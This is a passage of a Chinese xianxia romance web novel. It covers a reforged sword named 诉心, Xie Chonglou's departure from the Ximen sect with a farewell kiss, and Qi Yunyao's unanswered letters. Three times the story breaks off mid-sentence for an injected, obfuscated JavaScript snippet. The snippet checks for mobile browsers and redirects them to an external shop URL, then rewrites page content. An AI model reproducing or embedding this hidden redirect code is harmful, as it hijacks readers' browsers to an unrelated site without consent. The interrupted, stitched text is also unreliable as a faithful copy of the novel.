两人偷偷摸摸的回到西门。不出所料的没人发现他们两个消失了近三天。 当然这里的“没人”指的是祁云耀他爹娘,祁余天还是发现了的,但他浑不在意,只是在看见谢重楼回来后立即贴上去要同人比试。 祁灵昭也是第一时间找上门,叉着腰、气鼓鼓地质问祁云耀,出门去玩居然不带上她。可等他从怀里掏出那本精装版《霸道仙君爱上我?第四卷》塞到她手里,小姑娘眼底的不满与怨怼瞬间烟消云散,抱着书笑得眉眼弯弯,甜滋滋地喊了一声: “哥哥你真好!” 一旁谢重楼看着这一幕,心里莫名的有些不对劲。 越靠近西门,他就越忐忑不安。 长这么大,他从未不告而别私自外跑,一路上都在提心吊胆的,生怕一进门就被祁掌门与江驰先生严厉问责。 可祁云耀拍着胸脯再三保证,说他爹娘一定不会发现,如今果真应验,他本该松一口气、放下心来,却怎么也开心不起来,总觉得哪里怪怪的,却说不上究竟是何滋味. 日子一天天过去,祁云耀的伤势以惊人的速度好转。回到西门的第六天,他便生龙活虎,吵着闹着要谢重楼陪他一起练剑。 说来也怪,两人初见时,他背上那柄沉甸甸的重剑,自他卧病养伤后便被忘在脑后,许久不曾碰过。此刻翻找起来,才惊觉这剑竟不翼而飞。 祁云耀顿时慌了,大惊小怪地跑去问爹娘。 祁艳闻言淡淡瞥他一眼,语气平静:“你那柄剑,先前被小重楼那一击震得剑刃受损,一直放在东郊剑炉,等着你伤好之后,自己过去选材料修补吧。” 话虽这样说,可祁云耀却固执地撇撇嘴,在心里暗暗认定——他们一定是彻底忘了这件事,才这样说的! 去剑炉的路上,祁云耀的气就没顺过,嘴里还念念有词地嘟囔着:“肯定是忘了,不然怎么会放那么久都不管……” 越想越气,看见路边滚落的小石子,抬脚就狠狠踢飞,弹得老远。 谢重楼默默跟在他身侧,眼神时不时落在他的侧脸,嘴唇动了动,想说些什么安慰的话,话到嘴边又什么都说不出来。 他索性闭了嘴,目光落在脚下的石子上,悄悄把自己脚边的小石子一个个往祁云耀脚边踢,本意是想让他多踢几颗石子消消火气。结果祁云耀压根没注意脚下,被他踢过来的石子绊了个狗吃屎。 谢重楼:“!” 祁云耀:“……” 祁云耀趴在地上,半天没动。谢重楼想扶又不太敢,就站定在他身边。过了好一会儿,他才慢悠悠地撑起身子,偷偷拍掉身上的泥土,又顺手抹了把下巴,装作什么都没发生的样子,板着一张脸,再也不提踢石子的事,闷头往前快走。 谢重楼连忙跟上,两人之间的气氛变得格外微妙,一个闷头赌气,一个小心翼翼,一路无话,总算走到了东郊剑炉。 西门的东郊剑炉规模宏大,红砖砌成的炉身被烟火熏得发黑,远远就能听见炉内“噼啪”的柴火声和铁器碰撞的脆响。炉壁两侧的架子上,琳琅满目的摆着各式重剑,寒光凛冽,透着锋芒。 两人刚进门,就遇见了不少往来取剑的西门弟子,弟子们见了他们,纷纷拱手行礼。 祁云耀没心思寒暄,扯着谢重楼的袖子,一路往剑炉深处走,穿过前头喧闹的铸剑工坊,终于在最里面一间冒着袅袅青烟的小炉前,找到了此行要找的铸剑师傅。 那是个七八十岁的老头,脸上布满了沟壑,像是被烟火熏黑的老树皮,可他却长了一身结实的腱子肉,古铜色的皮肤泛着光泽,半点看不出年迈的模样。他行走时脚步如风,肩上扛着一块几百斤重的玄铁,在自己的小炉前健步如飞地搬运,放下玄铁时,地面都轻轻震了一下,看上去身子骨比他们俩个都还要硬朗。 祁云耀眼睛一亮,立刻快步跑过去,扯着嗓子喊:“江伯!江伯!” 江伯转过脸,眯着眼睛仔细端详了好一会儿,才慢悠悠辨认出眼前的人是谁。他当即哈哈大笑着,猛地抬起蒲扇大的手掌,拍向祁云耀的肩膀:“哎哟!这不是祁二小子吗?小胖子变瘦了,倒还真不大认得出来了!” 江伯的手掌又沉又有力,祁云耀被他这一掌拍得一个趔趄,身子晃了晃,多亏身后的谢重楼及时伸手扶了他一把,才没摔在地上。 他揉了揉被拍得发麻的肩膀,也不恼,仰着脑袋就急乎乎追问:“我的剑呢?” 江伯闻言,笑着摆了摆手,转身走向一侧的剑炉后边,很快就从一堆杂物中,拎出了祁云耀那柄缺了一角的重剑。剑身通体玄黑,泛着温润的哑光,剑柄处镶嵌着一颗深红色的宝石,熠熠生辉,衬得整柄剑既厚重又漂亮。 他用粗糙的手指,指了指剑刃处那道明显的豁口,随即抬眼看向一旁一直沉默伫立,没敢出声的谢重楼,声音粗噶洪亮:“小朋友,你力气倒是不小啊,居然能把我亲手打造的剑,都弄出这么大一个豁口来。” 谢重楼知道剑刃受损都是自己的过错,没有半分辩解,微微低着头,语气真诚地道歉:“对不起,我错了。” 江伯轻哼了一声,看似带着几分不悦,目光却冷不丁扫到了谢重楼腰间悬挂的那把剑,眼睛瞬间亮了起来,嘴里“哎哟哎哟”地念叨着,随手就把祁云耀的那柄残剑放在了一旁的石台上,搓着粗糙的双手,快步围到了谢重楼身边,方才的些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177163|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许不悦一扫而空,语气也热络起来:“小朋友,你这把剑,可是柄好剑啊!” 谢重楼闻言,没有丝毫犹豫,抬手将腰间的断不义解了下来,双手递到江伯面前。 江伯连忙双手接过,凑到炉火光线下,仔仔细细看清了剑身上的纹路,锻造的工艺,当即惊呼一声,声音都拔高了几分:“好小子!你这剑的工艺,看着分明是我们西门的锻造手法啊!是从哪儿得来的?” 谢重楼如实开口,语气恭敬:“是我师傅谢青传给我的,这把剑原本是我师傅的佩剑。” “谢青?”江伯猛地瞪大了眼睛,脸上满是惊讶,连忙追问,“那这把剑,叫什么名字?” “断不义。”谢重楼沉声答道。 “好名字!好一个断不义!”江伯当即又是一阵哈哈大笑,拍着大腿连连称赞,笑完才转头,又拍了拍祁云耀的肩膀,眼神发亮,“我想到用什么材料给你补剑了!你俩稍等我一下!” 说着,他也不等两人回应,脚步急促地转身,快步冲进了剑炉后边的剑冢。剑冢不大,堆放着的大多是锻造失败的废剑,也夹杂着一些西门前辈留下的残剑。 不过片刻功夫,江伯就风风火火地跑了回来,手里拖着一柄残剑——剑刃呈暗红色,只剩半截,剑身布满岁月的痕迹,却依旧能看出当年的锋芒,显然也是一柄难得的好剑。 他把残剑往石台上一放,扬着下巴看向两人,兴冲冲地喊:“看看!眼熟不?” 祁云耀连忙凑过去,皱着眉头仔细打量了半天,只看出这是一柄质地不错的残剑,却没瞧出什么玄机,刚要开口说“不眼熟”,却忽然发现,江伯的目光压根没落在自己身上,而是直直地盯着他身侧的谢重楼。 谢重楼上前一步,蹲下身,指尖轻轻拂过残剑的剑身,端详片刻后,又忽然闭上双眼,微微凝神感受。片刻后,他缓缓睁眼,轻声开口:“断不义说,这是它原本的样子。” “断不义会说话?”祁云耀惊得跳了一下,率先开口惊呼。 他的话音未落,就被江伯爽朗的大笑打断:“哈哈哈!可不是嘛!你这把断不义,我一眼就看出来了,是用‘不言’熔铸打造而成的!”说着,他指了指石台上的残剑,“你看,你俩关系这么好,干脆就把这‘不言’剩下的半截熔了,给云耀的剑补上,岂不是两全其美?” 祁云耀皱了皱眉,心里隐隐觉得有些不妥,刚想开口劝说先等等,却见江伯手脚极快,已经一把抓起石台上的不言,一甩便丢进了一旁燃烧正旺的熔炉里。 熊熊火焰瞬间将残剑吞噬,伴随着“噼啪”的轻响,不言很快便融化成一摊暗红色的液体,在静静流淌在模具里。 他又将一侧祁云耀的剑也扔了进去,两把剑彻底融在一起,没了反悔的机会。 两人回去的路上,祁云耀再没了先前那种不快,反倒凑在谢重楼身边,叽叽喳喳问个不停:“断不义会说话?” 谢重楼侧头看了他一眼,轻轻应了一声:“嗯。” “那我怎么听不见?” 他往谢重楼身侧凑了凑,几乎要贴到断不义上,满脸疑惑地眨了眨眼。 “只有我能听见。”谢重楼脚步未停,语气依旧平静。 “你师父、师兄都听不见?” “对,只有我能听见。”谢重楼耐心十足,哪怕被问得频繁,也没有半分不耐烦。 “那你是怎么听见的啊?为什么只有你能听见?”他打破砂锅问到底,伸手拽了拽谢重楼的衣袖。 “靠这里。”谢重楼停下脚步,抬手指了指自己丹田的位置,神色比刚才认真了些许:“我的仙缘是剑骨通玄,凭着这个,我能和剑交流。” “啊啊啊!你怎么能随便把自己的仙缘告诉别人!”祁云耀像是被惊雷炸到一般,猛地捂住自己的耳朵,眉头夸张的皱起,一脸不敢置信的模样,仿佛听见了什么天大的秘密。 谢重楼被他这副模样逗得漾出一丝浅淡笑意,语气随意:“这有什么?你又不会告诉别人。” 祁云耀闻言,立马放下捂住耳朵的手,继续追问道:“那除了我,你还告诉了谁?” “师父和师兄都知道,其他人——就只有你了。” “什么叫‘其他人只有我’啊!”祁云耀当即炸毛,伸手轻轻推了谢重楼一下,语气愤怒:“你要说,除了师父和师兄之外,只有我知道!” “好,除了师父、师兄之外,只有你知道。”谢重楼连忙顺着他的话说。 “哼!这才对嘛!” 25. 诉心 晨光熹微,初阳铺满西门演武场。 祁云耀一身利落短打,汗水顺着少年日渐紧实的脖颈滑进衣领,洇出一片深色水痕。这半个月,他每天天不亮就拖着谢重楼来练剑,一练便是一整天,惊得一众弟子包括他大哥小妹都看直了眼。 门下小弟子甚至私下开了赌局,赌二公子哪天会耍赖放弃。 第一天,祁云耀来了。 第二天,他也来了。 …… 一直到今日。 众人只能眼睁睁看着,他曾经圆润的轮廓渐渐变得利落分明,小腹上软软的肉平坦下去,个子也悄悄窜高了一截,原先合身的衣袍,如今穿在身上竟显得空荡又短了一截。 谢重楼持着木剑站在一旁,静静纠正他的姿势:“手腕太高,再低三分。” 祁云耀咬牙调整,目光却总忍不住往身边人身上飘,心头发慌。 “分心了。” 谢重楼的剑尖轻轻一点他的膝弯。祁云耀本就心神不宁,下盘虚浮,被这么一点,当即踉跄着摔坐在地上。 “为什么?”谢重楼低头问。 祁云耀别开脸,瘪着嘴爬起来,不愿回答,只强行凝神。 “为什么?”谢重楼收了剑,蹲到他面前,直视着他的眼睛,“你每天都走神,是不喜欢练剑吗?” “我没有、我不是,你别乱说!”祁云耀急声辩解,说完又像只鹌鹑似的,闷头不语。 两人正僵持着,远处传来脚步声,一道洪亮的嗓门打破了晨练的安静。 “祁二!你的剑铸好了!” 江伯连让人前去通传一声都嫌麻烦,亲自提着刚出炉的重剑拜访,足以看出他对这柄新作有多得意。 新铸的重剑比从前那柄更显沉雄霸气,剑身通体呈暗沉的赤红色,剑刃之上暗光流转,锋芒内敛却又慑人心魄,一看便知是柄难得一见的神兵利器。 散在一旁的弟子们顿时涌了上来,七嘴八舌地赞叹不绝,你一言我一语,满是艳羡与惊叹。 江伯却赶苍蝇似的挥手将他们赶走,半点不给众人细看的机会,径自提着长剑走到祁云耀面前,压低了声音: “你可别又第二天就把剑弄卷边了!到时候我非砍死你小子不可!” 话音落下,他还暗搓搓斜睨了谢重楼一眼,眼神里带着几分不言而喻的怪罪。谢重楼心下了然,不动声色地往祁云耀身后悄悄退了一步,企图躲在他身后以降低自己的存在。 “怎么可能!我定然会好好爱惜它!再说江伯您的手艺这样好,哪有那么容易损毁!” 祁云耀此刻满心满眼都扑在这柄崭新的重剑上,欢喜得不行,压根没留意到两人之间那点无声的暗流涌动。 “这次无论如何也得给它取个名字。上一回连个名号都没有,剑就先折了。我和炉旁几位老师傅商量过,兵器无名便少了灵韵,有了名字,便结下因果,自然也没那么容易夭折。” 祁云耀闻言皱了皱眉,只觉得这番说法有些玄乎,可身旁的谢重楼却忽然认真点头,轻声附和:“江伯说得没错。断不义有了名字之后,我才能听见她的声音。” 他这才郑重起来,低头沉吟许久,却始终想不出一个合适的名字。 蓦地,他抬眼望向谢重楼——这剑因其而断,又因他而重铸,再想起谢长泽曾说过,谢重楼向来习惯将心事藏在心底,从不轻易与人言说。 一念至此,他猛地一拍手,朗声开口: “那它就叫诉心。” “诉心?” 江伯一时没能领会这名字里的深意,只当是少年人随口取的字号,将重剑递到祁云耀手中,随意夸赞了几句,便转身回了剑炉继续忙活。 场中只剩下祁云耀与谢重楼两人。 祁云耀装作若无其事,眼角却偷偷打量着谢重楼的神情,满心期待着对方听见这个名字时会有什么反应。 可谢重楼面色平静,看不出半分波澜,反倒让一旁看热闹的弟子们品出了几分说不清道不明的意味,顿时嘻嘻哈哈地打趣起来,一时间气氛又热闹起来。 一月光阴弹指即过,谢长泽如期重返西门。 望见谢长泽身影的那一瞬,祁云耀心底的慌乱骤然翻涌得更甚,无论如何也不肯让对方给自己诊脉。闹了整整一个早上,东躲西藏,百般推脱。谢重楼又不敢重力抓他的,怕自己一个没收住力又把他捏伤了,谢长泽则是压根没那种敏捷捉住一个四处乱窜的人。 他历经一个月的特训,体能早就不似从前那样羸弱,你追我赶闹了一通。终是祁夫人在屋外听得实在不耐,一声令下,便唤来祁余天与江驰,两人一左一右死死按住他,谢长泽这才得以顺利搭上他的脉象。 指尖轻触腕间的刹那,他就明白这少年为何如此抗拒。 原因无他——祁云耀的伤势,早已痊愈。 自上次清巷一别,他便隐约察觉,祁云耀体内似有一股莫名力量被悄然激发,伤势恢复速度远胜常人。后来听谢重楼说,是花秽芳曾喂他服过奇药,他便一直暗中留意。可真正让他心惊的,并非这快得反常的痊愈速度,而是祁云耀痊愈之后,体内经脉通透,气血平稳,似乎并未有任何后遗症。 他心头隐隐浮起几缕猜测,可一想到花秽芳那臭名昭著、手段阴诡的名声,终究还是按捺住了思绪。 谢长泽闻声劝退了围在一旁的众人,屋内很快便只剩下他们两人。 祁云耀心知再也藏不住,鼻尖一酸,眼眶瞬间泛红,泪珠便悄无声息地滚落下来。 谢长泽见状,顿觉好笑,又觉心软,耐心地取出干净帕子,轻轻替他拭去脸颊泪痕,语气带着打趣:“我今日还当云耀是不喜欢我,才这般躲着我呢。” “没有。”祁云耀急忙摇头否认,眼泪却断了线似的,啪嗒啪嗒砸在衣襟上,哽咽出声,“我只是……只是不想,不想和重楼分开而已……呜呜……” “不想分开的话,直接告诉重楼不就好啦?何必躲着我,我可也会伤心的。”谢长泽轻轻擦着祁云耀的眼泪,语气温柔又无奈。 祁云耀闷声皱着鼻子,眼里还含着满眼泪花:“我说了他又不听!他一直想着回去!” “你没说,怎么就知道他不听?”谢长泽好笑地反问,又给他擦了擦鼻尖,随手将手帕叠好放在桌上。 “都是我找他,他从来都不主动找我!”祁云耀瘪着嘴哭诉,声音带着浓重的鼻音,“要是他回去了,这辈子都不会再来找我了!” “哎哟,你说话可真有意思,也难怪重楼说喜欢听你说话。”谢长泽忍俊不禁,语气里满是笑意。 祁云耀闻言,脸颊瞬间红了,抿着嘴,不好意思再吭声,只偷偷又抹了抹眼泪。 “重楼是很重情的,”谢长泽笑意温柔,耐心解释,“他一旦认定了谁,就会记一辈子。只是他得先确定自己是安全的,才敢慢慢回应你。” 祁云耀似懂非懂地抽噎着,泪眼朦胧地望着谢长泽,脑子里忽然冒出来一个古怪的念头,脱口而出:“那是不是……要是我亲他一下,他以后就会亲我十下?” 谢长泽愣了一瞬,虽觉得这类比有些奇怪,但细想之下,倒也贴合重楼重情加倍回报的性子,便失笑着点了点头:“嗯……可以这么理解。” “那你去帮我跟他说嘛!就说你还不想他跟你回去!你想他多陪陪我!”祁云耀干脆耍起无赖。 “不要。”谢长泽干脆拒绝,“这种事要你自己告诉他才作数,我替你说,重楼怎么知道你有多舍不得他?” 祁云耀似懂非懂地点点头,若有所思。 谢长泽一出门,他立刻跟了上去,打算第一时间去找谢重楼,把心里的不舍全说出来。 可刚踏出房门,就看见谢重楼静静站在不远处。 祁云耀心头刚泛起一丝欢喜,就见谢重楼径直走了过来,目光却没有落在他身上。 谢长泽脸上依旧挂着温和的笑,柔声开口:“重楼,云耀的伤已经痊愈了,你随时可以回剑庄。当然,你若想在西门多留一阵子也无妨,玩够了,师兄再来接你。” 祁云耀的心一下子提到了嗓子眼,紧张得指尖都攥紧了。 留下来,快说你要留下来—— 沉默蔓延了许久,他隐约感觉到谢重楼低头看了自己一眼,可等他慌忙抬眼望去,那道目光又早早收了回去。 谢重楼低沉的声音缓缓响起,一字一句,清晰地砸在他心上: “师兄,我跟你回去。” 一瞬间,惊雷在耳边炸开。 祁云耀再也绷不住,眼眶猛地泛红,失声打断:“你要走?!” 谢重楼像是被他吓了一跳,下意识避开他的视线,只从喉咙里轻轻挤出一个字: “嗯。” “你……你……”祁云耀喉间发堵,一句话也说不完整。 谢长泽也有些意外,眉峰微蹙,想伸手拉他再劝几句,却被谢重楼冷声打断: “师兄,我想好了。我想回去了。我想回家了。” “回家”二字落下,谢长泽和祁云耀都再没了劝说的理由。 谢长泽笑容微微勉强,轻声应道:“好,那你去收拾行李吧,师兄带你回家。” 谢重楼闻言,转身就走,自始至终,没有再分给身边的祁云耀一个眼神。 其实谁都看得出来,谢重楼收拾行李时一直闷闷不乐,动作慢得离谱,分明是在刻意拖延。换洗衣物拆了又叠、叠了又拆,反反复复磨蹭了一遍又一遍,半点没有归心似箭的模样。 谢长泽早把他的心思看在眼里,几次开口问他,是不是真的决意要走。到最后,更是直接点破:“云耀舍不得你,我也希望你再多留一阵子,不如你——陪陪他。” 可谢重楼次次都轻轻摇头,语气固执又坚定,只重复着一句:“我想回家。” 谢长泽无奈,终究没再劝说,接过他手里的包袱,转身出门去向祁掌门拜别。 谢重楼原本要跟着一同前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177164|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,身后却忽然传来祁云耀的声音:“你还有样东西没带走!” 他回头,眼底带着几分茫然:“什么?” “白白啊!你不要白白了吗?”祁云耀的声音急切。 谢重楼下意识看向门口的谢长泽,师兄轻轻点了点头,他便转身,跟着祁云耀往马厩走去。 这条路,两人走过无数次。除了最开头闹别扭的那几天,其余时候,他们总是开开心心地挨在一起,有说有笑地并肩前行。 祁云耀忍不住频频往后瞟,谢重楼就落在他后半步的位置,距离明明近在咫尺,他却觉得,两人之间像是隔着一道看不见,跨不过去的鸿沟。 再不做点什么,这道沟,恐怕就要变成隔开牛郎织女的银河,把他们彻底分在两岸。 牛郎织女尚有一年一次的鹊桥相会,那他和谢重楼呢?又有什么,能让谢重楼再回来找他? 他看着谢重楼弯腰,把白白从马厩里牵出来,心头猛地一酸——不久前,他们还一起牵着白白,在山野间奔跑玩耍,如今却就要分开了。 白白…… 对,还有白白! 牛郎织女靠鹊桥相会,那他和谢重楼,就靠白白! 若是把白白留在西门,谢重楼,不就会经常回来看它了吗? 谢重楼刚把白白牵到马厩门口,那匹马像是预感到了未来会过上这么凄苦无聊的日子,死活不肯再踏出一步。谢重楼舍不得用力拉扯,只能蹲下身,低声哄着:“白白,跟我走。” “白白不能跟你走!” 祁云耀心底积压的情绪,在这一刻彻底爆发。他猛地冲上前,张开双臂,死死拦在一人一马之间,用尽全身力气喊道:“它吃了我们家这么多饲料,早就是西门的马了!你要带走它,我不同意!” 谢重楼一怔,呆呆地看着他,语气带着不解:“白白是我的马。” “我不管!”祁云耀的声音染上了哭腔,带着几分无理取闹的执拗,“你想见它,就自己回西门来看!” 话说出口,他自己知道,这个理由有多荒唐,有多牵强,可这是他能想到的,唯一能把人拴住的借口。 谢重楼沉默地望着他,看了很久很久,久到祁云耀都以为,他会生气,会推开自己,会执意牵走白白。 可最终,他只是缓缓松开了手里的缰绳,轻轻把绳索放回马厩外的木桩上。 擦肩而过的瞬间,祁云耀似乎听见,他极轻,极轻地说了一句: “好吧,就这样吧。” 谢重楼转身,朝远处等候的谢长泽走去。 祁云耀明明已经得到了谢重楼会回来看白白的回答,可心口却依旧堵得发慌,酸得喘不过气。 下一刻,他像是再也按捺不住,拔腿追了上去,一把抓住谢重楼的手。趁对方还没反应过来,仰起头,轻轻又飞快人在他脸颊上“啾”了一下。 嘴唇只是轻轻一触便立刻分开,他自己都没来得及细细分辨那片肌肤是软是烫,眼泪就先一步决堤,噼里啪啦砸了下来。 谢重楼整个人僵在原地,彻底懵了。 他下意识抬手,摸了摸被亲到的地方,耳尖以肉眼可见的速度“唰”地烧得通红,连脖颈都染上了淡粉。 祁云耀哭得上气不接下气,把憋了许久的心里话一股脑吼了出来: “要是你以后……要是你以后想主动喜欢我了,你要亲我十下……两下也行!总之你要多喜欢我一点!听见没有!” 谢长泽把这一幕尽收眼底,整个人像被天雷劈中,外焦里嫩,呆在原地,终于后知后觉地品出不对劲来。 谢重楼捂着发烫的脸颊,整张脸都涨得通红,半晌才闷闷地、极轻地“嗯”了一声。 说完便转身,快步朝谢长泽跑去。 可跑了几步,他却像是终于下定了某种决心,又猛地折了回来。 语速快得几乎让人听不清,却一字一句,格外认真: “其实……如果说是回来看你的话,也是可以的。” “再见。” 最终,师兄弟二人还是离开了西门。 谢重楼走在山道上,手仍不自觉地抚着被亲过的脸颊,那处的热度迟迟没有褪去。心底翻涌着他自己弄不明白的复杂又酸涩的情绪。 谢长泽侧目看向他,虽方才被吓得不轻,依旧温声问道:“舍不得吗?” 谢重楼摇了摇头,又点了点头,没有作答。走了几步,他忽然开口:“师傅在剑庄吗?” 谢长泽不解他为何突然问起谢青,还是耐心答道:“师傅一直都在,我来找你时她还在闭关,说不定你回去,她便出关了。” “我忽然有点想她了。”谢重楼轻轻吸了吸鼻子。 谢长泽没再多言,只长臂一伸,揽住了小师弟。 夕阳将两人的身影拉得很长很长。 而西门最高的城门楼上,有个少年身影,始终立在原地,望着他们离去的方向,一动不动,直到夜幕彻底笼罩下来。 26. 书信(捉虫) 祁云耀不喜欢冬天,因为冬天太冷。可他又偏偏喜欢冬天——因为他和谢重楼,就是在冬天遇见的。 他喜欢春天,喜欢冰雪消融、万物复苏,可他又讨厌春天——因为谢重楼,就是被春风吹走的。 谢重楼走后的第二天,西门的一切都像是变了模样。 睡前再也没人和他说话,夜里也不会有人抢他的被子。早晨没人再陪他练剑,吃饭时,也不会有人心软,帮他把青菜吃掉。 他觉得奇怪得很,明明前十几年都是这么过来的,怎么就因为一个人两个多月的陪伴,便怎么都不习惯了? 最初那几天,祁云耀甚至生出一种幻觉:是不是谢重楼这个人,根本就没有存在过? 可诉心还在,白白还在,架子上那一堆被他们玩了个遍的小玩意儿也都在,一桩一件,都在清清楚楚地告诉他:那个人,是真的来过。 心里空得厉害,难过得发慌。 无聊了可以去找白白,去找小妹;练剑可以去找大哥;不爱吃的青菜,也可以趁祁夫人睁一只眼闭一只眼,悄悄塞进同门的碗里。 可怎么做都不对劲,哪里都不对劲。 心脏像是被谢重楼顺手掰走了一块,留下一个空空的洞。风一吹进去,回荡在里面的,全是谢重楼的名字。 “其实我真的觉得你现在很恶心——”祁灵昭忍无可忍地开口,“原先你又胖又圆,哭起来还勉强算可爱,可你现在这么一长条杵在这哭——真的巨恶心。能不能从我的房间出去?对我的眼睛不是很好。” 祁云耀坐在她对面,手捧着《霸道仙君爱上我》同作者的另一本书——《为了躲避清冷师尊强--制--爱的我被迫成为灵王大人的契约娇夫》,哭得肩膀一抽一抽,伤心欲绝。 他抽噎着,完全无视祁灵昭的控诉,一门心思沉浸在自己的难过里。 “要是我和重楼,以后也落得这样的下场——” “打住!”祁灵昭一把夺过他手里的话本,随手塞进自己的小书柜,眉毛翘得老高,嘴角撇出嫌弃,“我算是看明白了,你天天往我这跑、找我说话,根本不是念什么‘兄妹情’,就是没人陪你说话了而已,对吧!” “我好想他啊!我要去青云剑庄找他!”祁云耀猛地站起身,抬脚就要往外冲。 祁灵昭压根没理他,自顾自翻着手里的《鲛鱼传之仙宗少主不恋仙偏要养条深海绝色人鱼》,语气满是不屑:“去吧去吧!等爹娘要打断你的腿,我就在旁边喊加油,喊得比谁都响!” “你真的一点都没把我当哥哥!我现在可是难过得要死!”祁云耀又气又委屈,厉声控诉。 祁灵昭满不在乎地耸耸肩:“那你是要接受我的‘心意’咯?要是接受了,你对重楼哥哥的感情,是不是就不就不够忠诚了?” 祁云耀瞪圆了眼睛,手指着她,气得说话都打颤:“你、你说的全是歪理!” “我管你歪理正理!” “滚啊!” “要滚也是你滚好吗?这是我的房间!轮得到你赶我?” “好啦好啦,别吵了别吵了!”祁余天蜷在房间角落,看看怒发冲冠的二弟,又瞧瞧满脸不屑的小妹,一张脸皱成了苦瓜,心里满是苦水,“你们再吵,我就去告诉爹娘了啊。” “你去啊!谁怕谁!”祁灵昭更不屑了,嘴角撇得歪斜,眼睛上下扫了他一圈,嗤笑一声,满是鄙夷。 “只会告状,真看不起你!”祁云耀也跟着附和,抱臂站着,一脸嫌弃地瞥着祁余天。 祁余天默默低下头,肩膀微微耷拉着——他早就该想到会是这个结果的。 哎—— 这么一闹,原本剑拔弩张的两人也吵不下去了。 祁云耀满肚子委屈,巴巴地坐回自己的坐垫上——准确说,是他先前强抢来的坐垫,嘴角一瘪,又开始掉小眼泪。 祁余天一见他这副模样,无奈地抹了把脸,哀叹一声,假装没看见,低下头自顾自吃着灶房送来的糕点,眼不见心不烦。 祁灵昭抬眼瞥了瞥二哥,见他哭得凄惨,活像话本里被强取豪夺后又遭抛弃的小娇夫,终是软了心肠,声音闷闷地开口: “你要是实在想他,给他写信不就行了?你不是有只偃甲鸟吗?写好信托偃甲鸟送过去,多大点事。” 祁云耀的哭声猛地一顿,泪眼朦胧地抬眼看她。一旁的祁余天也连忙点头,嘴里塞得满满都是糕点,含糊不清地附和:“对哇~你给他写信,不就好啦!” 祁云耀看看大哥,又看看小妹,心里莫名多了几分鼓舞。 他一把抹掉眼泪,噌地站起身,熟门熟路地翻出祁灵昭的笔墨,又走回桌边,大手一挥,直接把祁灵昭摆在小桌几上的话本、画册全扫到了地上。 不出意外收获了一个大大的白眼,他却半点不在意,仔细将信纸铺平。 心里明明攒了千言万语,想说的话堆得像山,可真正提起笔时,笔尖悬在纸上,却一个字也写不出来。 “先写个开头啊!”祁灵昭凑着脑袋凑过来,皱着眉催促。 “好!”祁云耀立马应下,提笔刚要落在纸上,笔尖却又顿住,转头一脸茫然地问她:“那我该怎么称呼他啊?” “你心里怎么想就怎么写呗!”她翻了个大大的白眼,满脸不耐。 “可……我们还不是那种关系。”祁云耀脸红彤彤的,语气里带着几分别扭。 “那就写挚友!” “好!” 祁云耀点头,落笔在信纸上,一笔一划写下“挚友重楼,见字如面”,刚写完这八个字,笔尖又僵住了,再次卡了壳。 他带着满满的求助看向祁灵昭。祁灵昭故意别过脑袋,语气敷衍:“你怎么想的就怎么写,想他就说想他,很想很想就写十遍‘我想你’,多简单。” “懂了!”祁云耀眼睛一亮,又低下头,握着笔唰唰唰地写了起来。 祁灵昭好奇地想凑过去偷看,却被他投来一个凶狠的眼神,立马缩了回去。 祁灵昭瘪了瘪嘴,气鼓鼓地坐回自己的座位,心里暗骂他是个白眼狼,再也不想理他。 信写好寄出,看着那只偃甲鸟“姆嘎姆嘎”地拍着翅膀,往青云剑庄的方向飞去,祁云耀心里空落落的地方,似乎终于被填满了一小块。 从那以后,他日日等待,日日写信,满心满眼都盼着偃甲鸟能给他带回来自青云剑庄的回信。 一天过去了,偃甲鸟没有回来。 两天过去了,偃甲鸟依旧没有踪影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177165|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 直到第三天傍晚,偃甲鸟终于扑棱着翅膀飞了回来,可它的肚子里却空荡荡的,什么回信都没有。 祁云耀急了,把那只可怜的偃甲鸟翻来覆去检查了几十遍,连羽毛缝都扒开来看了,依旧没找到半张信纸。他心里不由得泛起担忧,难不成,自己写的信,压根就没送到谢重楼手里? 来不及多想,他立马翻出这几天写下的好几封信,一股脑塞进偃甲鸟的肚子里,又小心翼翼地叮嘱了几句,看着它再次飞走。 又是漫长的三天过去,偃甲鸟如期归来,可它的肚子,依旧是空的。 恰逢肖严谨来给祁灵昭送新话本,祁云耀像是抓住了救命稻草,立马把偃甲鸟次次空肚回来的事说了。 肖严谨闻言,脸上露出一言难尽的神色,支支吾吾半天不肯多言。被祁云耀缠得没办法,才吞吞吐吐说出真相—— 他改造的偃甲鸟,必定能将信件送到目的地,祁云耀收不到回信,纯粹是谢重楼没给他回。偃甲鸟送完信会在原地等两天,若收信人不回信,便自行飞回来。所以,那些寄去青云剑庄的信,定然都送到了谢重楼手上,只是他不愿回信罢了。 